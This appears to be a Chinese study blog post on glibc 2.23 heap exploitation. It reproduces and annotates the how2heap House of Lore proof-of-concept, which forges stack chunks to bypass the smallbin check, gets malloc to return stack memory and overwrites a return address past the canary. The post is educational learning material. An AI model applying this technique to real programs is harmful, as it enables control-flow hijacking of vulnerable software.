本来想着一篇文章写完 glibc2.23how2heap 系列,但是太长了,还是分开写吧

# 6. house_of_gods 【还没搞明白,先挖个坑】

# 7. house_of_lore

这个漏洞就是利用了申请 samll bin 后会将 bk 指到下个 chunk 上,如果这个 chunk 是我们想要控制的那么我们就可以申请回来然后利用,在要控制处伪造 chunk,使他的 fd 指向 small bin 的 chunk 即可绕过检测(一开始在想既然能直接该想要修改处的值,还伪造干嘛;后面发现这里能改写但是无法 getshell,伪造后能利用其返回的 ret 来 getshell)

# 1. 程序源码

c
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[...]
// 这一部分在 glibc 源代码的 3414 行,是在申请 smallbin 时执行
else
    {
      bck = victim->bk;//bck 为要申请出去的 chunk 的 bk 指向的 chunk
    if (__glibc_unlikely (bck->fd != victim)){
     // 检测 smallbin 的双链表
                  errstr = "malloc (): smallbin double linked list corrupted";
                  goto errout;
                }
       set_inuse_bit_at_offset (victim, nb);// 设置 smallbin 的 inuse 位,nb 为申请的大小(包括头部)
       bin->bk = bck;//bin 就是 victim 的 fd 指向的 chunk
       bck->fd = bin;// 这里就是从双链表摘除 victim 进行的操作
       [ ... ]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main(int argc, char * argv[]){
  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  fprintf(stderr, "\nWelcome to the House of Lore\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");
  fprintf(stderr, "Allocating the victim chunk\n");
  intptr_t *victim = malloc(0x100);
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;
  fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
  fprintf(stderr, "Create a fake chunk on the stack\n");
  fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;
  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
  
  fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);
  fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
  fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
  void *p2 = malloc(1200);
  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
  //------------VULNERABILITY-----------
  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
  //------------------------------------
  fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
  void *p3 = malloc(0x100);
  fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(0x100);// 为什么还需要申请一个 P4,申请完 p3 不就直接可以直接到了想要的地方吗:p4 就是想要的栈块,但是 buffer2 在干什么;buffer2 是让我们看其 fd 指针被修改了
  fprintf(stderr, "p4 = malloc(0x100)\n");
  fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);
  fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
  long offset = (long)__builtin_frame_address(0) - (long)p4;
  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary  。。。对这里的 + 8 不太明白,猜测是越过 rbp 到返回地址,程序最后执行了 jackpot 函数也证实了这个想法
  // sanity check
  assert((long)__builtin_return_address(0) == (long)jackpot);
}

这个例子是对 smallbin 的 bk 指针进行修改,指到栈上 (buffer1),也修改了 buffer1 和 buffer 的 fd 和 bk 指针,修改 fd 指针就是为了绕过申请 smallbin 时的检测,最后就是假设了一个 shellcode 然后复制到 canary 后面的区域执行

long offset = (long)__builtin_frame_address(0) - (long)p4; 代码里有这么一行,然后查了查发现 __builtin_frame_address(LEVEL) 是一个内建函数

这个函数是用来查看函数的栈帧地址 [ __builtin_frame_address 可用于确定是否已到达堆栈顶部]

0:查看当前函数的栈帧地址
1:查看当前函数调用者的栈帧地址

【关于内建函数:https://www.zhaixue.cc/c-arm/c-arm-builtin.html

https://runebook.dev/zh/docs/gcc/return-address】

# 2. 调试程序

# 1. 执行到 50 行

c
intptr_t* stack_buffer_1[4] = {0}; // 创建栈
  intptr_t* stack_buffer_2[3] = {0};
  fprintf(stderr, "\nWelcome to the House of Lore\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");
  fprintf(stderr, "Allocating the victim chunk\n");
  intptr_t *victim = malloc(0x100);// 申请一个可以释放到 smallbin 的 chunk
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2; // 获得头指针的地址
  fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

这一部分就开始初步的申请空间

buffer1=0x7fffffffdcc0
buffer2=0x7fffffffdca0
victim=0x555555759010
victim_chunk=0x555555759000

# 2. 执行到 63 行

c
fprintf(stderr, "Create a fake chunk on the stack\n");
  fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0; //pre_size
  stack_buffer_1[1] = 0; //size
  stack_buffer_1[2] = victim_chunk; // 改写 fd,绕过申请 smallbin 的检测
  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2; // 改写 bk
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;// 到这里的双链表结构 buffer2<=>buffer1->victim ("->" 代表 fd ;"<-" 代表 bk )

【为什么没有 size 的检测?检测 size 一般在合并的时候检测】

在栈上构造了 fake_chunk 的结构,修改了 buffer1 的 fd 绕过了 检测

检测:

c
if (__glibc_unlikely (bck->fd != victim))
                {
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
              set_inuse_bit_at_offset (victim, nb);
              bin->bk = bck;
              bck->fd = bin;

从上面看到,想要申请从 smallbin 空间就要 bck->fd=victim (相当于 buffer1->fd=victim) , 这样才能将 buffer1 给带入 smallbin 中被后续申请出去

# 3. 执行到 68 行

c
fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);

申请一个 large chunk 为了防止紧挨着 topchunk 发生合并

# 4. 执行到 76 行

c
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);
  fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

释放申请的 small chunk,但是它不会一开始就进入 smallbin 中,它会先进入到 unsorted bin 中直到下一次执行 malloc


看到先进入了 unsortedbin 中,并且这里只有一个 chunk 所以这个 chunk 的 fd 和 bk 都会指向 main_arena 的地方

注意:

在后面执行 malloc 的时候,会再次进行分配,下一次分配(malloc)的大小如果比它大,那么将从 top chunk 上分配相应大小,而该 chunk 会被取下 link 到相应的 bin 中。如果比它小 (相等则直接返回),则从该 chunk 上切除相应大小,并返回相应 chunk,剩下的成为 last reminder chunk , 还是存在 unsorted bin 中,不会放入 small/large bin 中。

# 5. 执行到 86 行

c
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
  void *p2 = malloc(1200);//0x4B0
  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);//victim will be inserted in the small bin
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

这里申请一个 1200 大小的 large chunk ,而 bin 中没有 chunk 满足,就在 top chunk 上切割一个分配,在 unsorted bin 中的 chunk 就会归属到对应的 small/large bin 下,这里的 victim 就进入了 smallbin

下面的图里可以看出进入了 smal_lbin


# 6. 执行到 92 行

c
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

这里修改了 victim[1] =stack_buffer_1 , 所以就让 bk 指向了 buffer1 (fd 还是没有变,仍指向 main_arena

# 7. 执行到 99 行

c
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
  void *p3 = malloc(0x100);

这里将释放的 victim 从 small_bin 申请回去,然后根据:

c
set_inuse_bit_at_offset (victim, nb);
              bin->bk = bck;
              bck->fd = bin;

就会将 victim->bk 作为 small_bin 最后一个 chunk(也就是 buffer1),再申请的话就会申请到 buffer1

这里可以发现 small_bin 中的 bk 已经改变了,从 buffer1 指向了 buffer2

【又出来一个疑问,为什么没有修改 buffer 的 size(这里的 size 位为 0),申请的 small_chunk 不满足大小怎么办】从源码大概理解为什么:

c
if (in_smallbin_range (nb)) // 判断范围是否符合 `small_bin`
    {
      idx = smallbin_index (nb);// 判断哪个 index 符合大小,找申请的大小满足的 index
      bin = bin_at (av, idx);

这里发现,判断了要申请的大小符合的 index,在对应的 index 里有 chunk 就直接从该 index 里取出就行,不用在判断 size 的大小,因为找到的 index 就默认了这里的 chunk 符合申请的空间大小;所以我们利用 victim 将 buffer 插入了这里,那么申请 0x100 的大小就会默认 buffer1 符合

# 8. 执行到 107 行

c
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(0x100);
  fprintf(stderr, "p4 = malloc(0x100)\n");
  fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);

这里将 buffer1 申请出去,因为其 bk 指向 buffer2,且 buffer2->fd 也指向了 buffer1,所以将 buffer2 也加入了 smallbin 中

申请前的 buffer2:

申请后的 buffer2:

# 9. 执行到 115 行

c
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
  long offset = (long)__builtin_frame_address(0) - (long)p4;//buffer 的 rbp 到 p4 的偏移
  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary;将 sc 覆盖到返回地址处
//+8?
  // sanity check
  assert((long)__builtin_return_address(0) == (long)jackpot);
 //__builtin_return_address 内建函数,得到栈的 ret 地址

这里就开始进行改写了,直接将栈上的 ret 改写,绕过了 canary 保护

这里将 buffer1 的 ret 改写为 sc(也就是 jackpot 的地址),就会 ret 去执行这里导致输出 jackpot 函数的 Nice jump d00d

查看 jackpot 地址:

执行 memcpy((p4+offset+8), &sc, 8); 查看栈上:

执行最后的 assert((long)__builtin_return_address(0) == (long)jackpot); 判断成功

最后会返回到 jackpot 输出 Nice jump d00d

# 8. house_of_mind_fastbin 【又是一个坑】

# 9. house_of_orange

# 1. 源码